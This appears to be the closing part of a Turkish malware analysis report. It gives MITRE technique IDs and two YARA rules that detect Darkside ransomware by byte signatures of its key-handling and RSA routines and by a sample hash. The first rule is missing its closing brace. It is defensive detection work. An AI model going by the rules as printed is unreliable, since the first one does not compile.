	T1082	
	T1120	

Yara Kuralları

```
import "hash"

rule Darkside_Ransomware
{
    meta:
        author = "Halil Filik - ZAYOTEM"
        description = "Darkside Ransomware için analiz edilen sample'a ait Yara Kuralı"
    strings:
        $func1 = {FF 15 6C 07 42 00}
        $param1 = {68 BB 01 00 00}
        $param2 = {68 20 02 00 00}
        $param3 = {68 01 00 00 80}
        $param4 = {68 00 00 10 00}
        $param5 = {68 A4 04 2B 1E}
        $param6 = {68 5E 04 98 3B}
        $param7 = {68 88 05 8B 28}
        $param8 = {68 3F 00 0F 00}
        $key_buffer = {89 54 0E 0C 89 44 0E 08 89 5C 0E 04 89 3C 0E 81 EA 10 10 10 10 2D 10
10 10 10 81 EB 10 10 10 10 81 EF 10 10 10 10 83 E9 10 79 D5}
        $rsa_key = {8B 06 8B 5E 04 8B 4E 08 8B 56 0C 11 07 11 5F 04 11 4F 08 11 57 0C}
    condition:
        hash.md5(0,filesize) == "3f2cb535fc5bc296aa5b0d2897c265d0" or all of them
```

```
rule Darkside_Ransomware_Genel
{
  meta:
    author = "Halil Filik - ZAYOTEM"
    description = "Darkside Ransomware için genel bir Yara Kuralı "
  strings:
    $key_buffer = {89 54 0E 0C 89 44 0E 08 89 5C 0E 04 89 3C 0E 81 EA 10 10 10 10 2D
10 10 10 10 81 EB 10 10 10 10 81 EF 10 10 10 10 83 E9 10 79 D5}
    $rsa_key = {8B 06 8B 5E 04 8B 4E 08 8B 56 0C 11 07 11 5F 04 11 4F 08 11 57 0C}
  condition:
    all of them
}
```

Halil Filik

<https://www.linkedin.com/in/halilfilik/>